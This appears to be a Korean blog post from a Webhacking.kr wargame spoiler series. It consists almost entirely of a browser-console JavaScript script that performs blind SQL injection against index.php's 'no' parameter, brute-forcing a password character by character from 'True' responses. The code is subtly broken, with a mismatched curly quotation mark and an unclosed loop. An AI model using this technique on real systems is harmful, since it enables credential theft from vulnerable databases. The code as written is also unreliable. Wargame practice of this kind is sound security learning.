본문 바로가기

Hacking/Webhacking.kr(스포주의)

blind sql injection


dictionary = "abcdefghijklmnopqrstuvwxyz0123456789_"; // 패스워드로 추측되는 문자열
password = ""; // 획득한 패스워드를 저장하기 위한 변수

function go(query,n) // 패스워드로 추측되는 문자의 아스키 코드=query , substr의 길이=n
{
        query = "2 and ascii(substr(pw,”+n+",1))="+query;
// no 2의 패스워드를 한 바이트씩 대입하기 위한 변수
       
        console.log(query); // 브루트포스 진행사항을 웹브라우저 콘솔에 출력

        x = new XMLHttpRequest(); // request 전송을 위한 객체 생성
        x.open("GET","index.php?no="+query,false);  // no 파라미터에 query변수의  값 전송
        x.send(null);
        if(x.responseText.indexOf("True")!=-1) return "true"; // true문자열이 존재할경우 true 반환
        else return "false";
}

for(i=1;i<=19;i++){ // 패스워드 컬럼 데이터의 길이만큼 반복문 실행
        for(j=0;j<dictionary.length;j++){ // 대입할 문자열의 길이만큼 반복문 실행   
                ascii = dictionary.substr(j,1).charCodeAt(0); // 대입할 문자열을 아스키코드로 치환
                if(go(ascii,i)=="true") { // go 함수에 변수 대입 후 true가 반환되었을 경우
password+=dictionary.substr(j,1); console.log("[*] "+password); break; 
// 패스워드 변수에 획득한 문자 추가 후 콘솔창에 출력
}
                }

'Hacking > Webhacking.kr(스포주의)' 카테고리의 다른 글

Webhacking.kr 35  (0) 2016.01.15
Webhacking.kr 45  (0) 2016.01.15
Webhacking.kr 45  (0) 2016.01.15
Webhacking.kr 30  (0) 2016.01.15
Webhacking.kr 37  (0) 2016.01.15